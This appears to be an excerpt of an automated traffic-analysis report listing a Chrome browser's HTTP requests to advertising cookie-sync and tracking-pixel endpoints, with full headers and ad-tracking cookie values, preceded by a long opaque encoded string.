lONuVd_i49OT40ju1FvVsTnY5Rb4I_BdcdCK2sH84kFn2GUpazej0gw0mz01qrcFWPcaIhtlG8xjT6dVk4CxWnaBKPGAjpYNkd0utZdVLWykPv7GOSKsuzA30FMXI9ZBDW9aoJ8mquK_mbJpU5fGp_eO0NGR9Lo3ge_1yw3wjemdSxkoLGxQNE8QKwQPjNaxH5yoRplPgAUv3SkGIotvfc3e9aqKUaQ7q-K8FO2OoIdvEbNlyAMK-cTPHomefNazcvTTPC8irtZqAhpvqx-UZiq_xy0Z4KXmZheJf9givKH0dGE280Wd37oY0ZIlyrruDLIaIrOrnXY6Ugt_tlaBqr0qJzzAS6PW_MvTikYXTGUkBC4wU4aPgEfCeVnvIr4qOrg-KornsNMOFitlvPHKJPwtX12B_QuNhnEyFompTcKWsM4543BkzmrSZStPc4QBuZqiCuRaxyLzcSuA_vVrpPz7PnIO1kNxPMoyRVRBqpWSjDvGrd4ow6nwxYde2TPpuQVXB_S62BVeykXpQcTNy2kKa_e-2VGnRY7WjexQv3GjMr8Halj_N2l8gWfYR8sLT0Xlzvc21ib--JohGgckIHACyAMDEKsyR9XMyj0JtEVvcgSdU8hccsg9cOpTKYMUS0e-gn-ZZ4NxtiqF4c3VS0v08rBcE-AaDLhr7km4v4XJTErDuJkEsnfhgi5hewN_X-u2896uGThyBNUzcmJhYDrKmZcmJDopVHucpSTSvZtXZpQ1RnfPXf9BuUC0JLLC9lPhUcpl4sW0847KQvYMvmpgFGGXRQzt_5p7QpAYyo-YRzHu-l3ETRa6fMRUKbiz
Source: global traffic	HTTP traffic detected: GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239; custom_data=QlAo019tRTNxWDVXWFQxbDFBOUZMYmFuOVh2Zk5JNiUyQnVxUWx5dCUyQnBRbW5qRVlEZWdCSnE0eUpKMVdJRlNNaHRWV1o2eFh3bGVpWHNOOE1GWGlvUjB3RnNES0ZNSUJRN2k0JTJCUG8zOE9YekU3VWpNRktVckMyWGlzc0hRMmtBRHFUZ2U5VW9BWVRBUVdlRFlUVm81QWlXVTZzMlhBJTJGOUJBWldSTW1TdWFmMmVkRE95QVMzTGclMkZWU040cTFEUWl6TiUyQnNXQU0
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=7367141199740274687&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; PugT=1704929239; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63
Source: global traffic	HTTP traffic detected: GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5; matchmedianet=5
Source: global traffic	HTTP traffic detected: GET /redir?partneruserid=AABsm07LPlAAABMLLoldYg&partnerid=127&redirurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26bee_sync_partners%3Dsyn%252Cpm%26bee_sync_current_partner%3Dsas%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D3%26userid%3DSMART_USER_ID&gdpr=0 HTTP/1.1Host: rtb-csync.smartadserver.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI- HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; PugT=1704929240
Source: global traffic	HTTP traffic detected: GET /pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID HTTP/1.1Host: beacon.lynx.cognitivlabs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:Rw6Yt2Jl1RnHYF5&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; PugT=1704929240
Source: global traffic	HTTP traffic detected: GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync?gdpr=0&gdpr=0&bee_sync_partners=syn%2Cpm&bee_sync_current_partner=sas&bee_sync_initiator=adx&bee_sync_hop_count=3&userid=5415633966123335522&gdpr=0&gdpr_consent= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
Source: global traffic	HTTP traffic detected: GET /tum?umid=6 HTTP/1.1Host: ums.acuityplatform.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=119&user_id=968062845637553879&expires=30&ssp=pubmatic HTTP/1.1Host: x.bidswitch.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239; custom_data=QlAo019tRTNxWDVXWFQxbDFBOUZMYmFuOVh2Zk5JNiUyQnVxUWx5dCUyQnBRbW5qRVlEZWdCSnE0eUpKMVdJRlNNaHRWV1o2eFh3bGVpWHNOOE1GWGlvUjB3RnNES0ZNSUJRN2k0JTJCUG8zOE9YekU3VWpNRktVckMyWGlzc0hRMmtBRHFUZ2U5VW9BWVRBUVdlRFlUVm81QWlXVTZzMlhBJTJGOUJBWldSTW1TdWFmMmVkRE95QVMzTGclMkZWU040cTFEUWl6TiUyQnNXQU0
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=c1104da8-8b46-4cf5-be20-49100dc0f27c&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID} HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; PugT=1704929240; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-
Source: global traffic	HTTP traffic detected: GET /?pubid=11331&redirect=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzImdGw9MTI5NjAw&piggybackCookie={viewer_token} HTTP/1.1Host: csync.loopme.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; PugT=1704929241
Source: global traffic	HTTP traffic detected: GET /sync/img?mt_exid=3&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA%3D%3D%26piggybackCookie%3Duid%3A%5BMM_UUID%5D HTTP/1.1Host: sync.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=968062845637553879 HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; 